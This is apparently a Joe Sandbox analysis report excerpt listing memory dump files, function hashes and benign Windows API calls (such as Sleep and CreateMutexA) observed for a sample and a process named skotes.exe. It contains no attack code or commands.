Associated: 00000000.00000002.1754578626.0000000000A3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754600607.0000000000A45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754617658.0000000000A46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754636624.0000000000A55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754654088.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754671678.0000000000A64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754689049.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754707261.0000000000A6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754724910.0000000000A70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754747383.0000000000A80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000A83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754822300.0000000000AC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754839458.0000000000AC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754862757.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754884931.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754903119.0000000000ADC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754920171.0000000000AE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754939311.0000000000AE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754960813.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754982004.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 3039332004ef8cb7fdc81c045a5ed66136b015af03a623c9f02c3f20aac902cc
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 8A113BB7203165C7EE04862DF8B45B7A795FBD53217AC4375C041CB784DA22A4C19500

Function 0081A302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1753888094.00000000007E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000000.00000002.1753867143.00000000007E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753888094.0000000000842000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753959790.0000000000849000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753979506.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754003634.0000000000855000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754024988.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754045323.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754169501.00000000009AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754191423.00000000009AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754216353.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754240291.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754304972.00000000009DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754326607.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754353144.00000000009EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754373289.00000000009EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754410709.0000000000A01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754428649.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754446572.0000000000A0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754466339.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754483518.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754504199.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754525628.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754543705.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754561613.0000000000A3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754578626.0000000000A3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754600607.0000000000A45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754617658.0000000000A46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754636624.0000000000A55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754654088.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754671678.0000000000A64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754689049.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754707261.0000000000A6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754724910.0000000000A70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754747383.0000000000A80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000A83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754822300.0000000000AC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754839458.0000000000AC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754862757.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754884931.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754903119.0000000000ADC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754920171.0000000000AE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754939311.0000000000AE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754960813.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754982004.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 040eb3a2a0d3cb3514e41e31bb5990bf07ef7ac788f8ada15755a865908d2d26
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: A8E04672922228EBCB18DB9CC904A8AB2ACFB49B00B650096B515D3250C270DE40C7D1

Function 0081CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0081CC66

Memory Dump Source

Source File: 00000000.00000002.1753888094.00000000007E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000000.00000002.1753867143.00000000007E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753888094.0000000000842000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753959790.0000000000849000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753979506.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754003634.0000000000855000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754024988.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754045323.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754169501.00000000009AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754191423.00000000009AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754216353.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754240291.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754304972.00000000009DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754326607.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754353144.00000000009EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754373289.00000000009EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754410709.0000000000A01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754428649.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754446572.0000000000A0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754466339.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754483518.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754504199.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754525628.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754543705.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754561613.0000000000A3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754578626.0000000000A3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754600607.0000000000A45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754617658.0000000000A46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754636624.0000000000A55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754654088.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754671678.0000000000A64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754689049.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754707261.0000000000A6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754724910.0000000000A70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754747383.0000000000A80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000A83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754822300.0000000000AC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754839458.0000000000AC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754862757.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754884931.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754903119.0000000000ADC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754920171.0000000000AE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754939311.0000000000AE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754960813.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754982004.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e0000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction ID: 3d0c40809e8f1c5d6c831d06fed29bfd2a8905eb0712f3857490cdbc02384d44
Opcode Fuzzy Hash: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction Fuzzy Hash: 83B135329442999FDB11CF68C881BFEBFE9FF45340F14816AE855EB242D6349D81CBA1

Function 007E2EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 007E2F5F
__Mtx_unlock.LIBCPMT ref: 007E2FCC
__Mtx_unlock.LIBCPMT ref: 007E30F5
__Mtx_unlock.LIBCPMT ref: 007E319B

Memory Dump Source

Source File: 00000000.00000002.1753888094.00000000007E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000000.00000002.1753867143.00000000007E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753888094.0000000000842000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753959790.0000000000849000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753979506.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754003634.0000000000855000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754024988.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754045323.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754169501.00000000009AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754191423.00000000009AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754216353.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754240291.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754260362.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754304972.00000000009DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754326607.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754353144.00000000009EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754373289.00000000009EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754410709.0000000000A01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754428649.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754446572.0000000000A0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754466339.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754483518.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754504199.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754525628.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754543705.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754561613.0000000000A3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754578626.0000000000A3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754600607.0000000000A45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754617658.0000000000A46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754636624.0000000000A55000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754654088.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754671678.0000000000A64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754689049.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754707261.0000000000A6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754724910.0000000000A70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754747383.0000000000A80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000A83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754768202.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754822300.0000000000AC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754839458.0000000000AC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754862757.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754884931.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754903119.0000000000ADC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754920171.0000000000AE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754939311.0000000000AE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754960813.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1754982004.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e0000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: dbd6efbc5f3ba47d77eeb80be58fbaea4e5d261750e5b692d67d40a4abd10625
Instruction ID: a2cdc31b42a2a33ace0becaebf5a4d4e94718e9d607eab3d5f6229a70cf1aa5d
Opcode Fuzzy Hash: dbd6efbc5f3ba47d77eeb80be58fbaea4e5d261750e5b692d67d40a4abd10625
Instruction Fuzzy Hash: 0BA1F270A06649DFDB21DF66C948B6AB7F8FF19310F048129E915D7341EB39EA04CB91

Analysis Process: skotes.exePID: 6692, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	608
Total number of Limit Nodes:	4

Executed Functions

Function 00BA652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00BA652A,?,?,?,?,?,00BA7661), ref: 00BA6567

Memory Dump Source

Source File: 00000001.00000002.1780180003.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1780158000.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780180003.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780250583.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780269452.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780291908.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780309951.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780327725.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780436634.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780458437.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780483629.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780501855.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780555757.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780572382.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780594718.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780611274.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780634673.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780652698.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780671360.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780689431.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780707398.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780724042.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780744239.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780762934.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780780868.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780797506.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780815218.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780831932.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780851670.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780871516.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780890246.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780907618.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780927046.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780945183.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780966630.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780985433.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781035115.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781052974.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781071707.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781090891.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781108600.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781126834.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781145089.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781164139.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1781182303.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: fe350294a5a365d886a593c2f41c44934a02db9152ded20ecf3c456325a421e8
Instruction ID: 3a95122e9c3888f876228b58c5cda5d607dae2bb706aed0f4238773ef6dbad6f
Opcode Fuzzy Hash: fe350294a5a365d886a593c2f41c44934a02db9152ded20ecf3c456325a421e8
Instruction Fuzzy Hash: EAE08C3054414CBECF26BB18D809E4C3BA9EB62759F088850FD1846226CB35EE81CAA0

Function 00B79BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000001.00000002.1780180003.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1780158000.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780180003.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780250583.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780269452.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780291908.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780309951.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780327725.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780436634.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780458437.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780483629.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780501855.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780519621.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780555757.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780572382.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780594718.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780611274.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780634673.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780652698.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780671360.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780689431.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780707398.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780724042.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780744239.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780762934.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780780868.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780797506.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780815218.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780831932.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780851670.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780871516.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1780890246.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
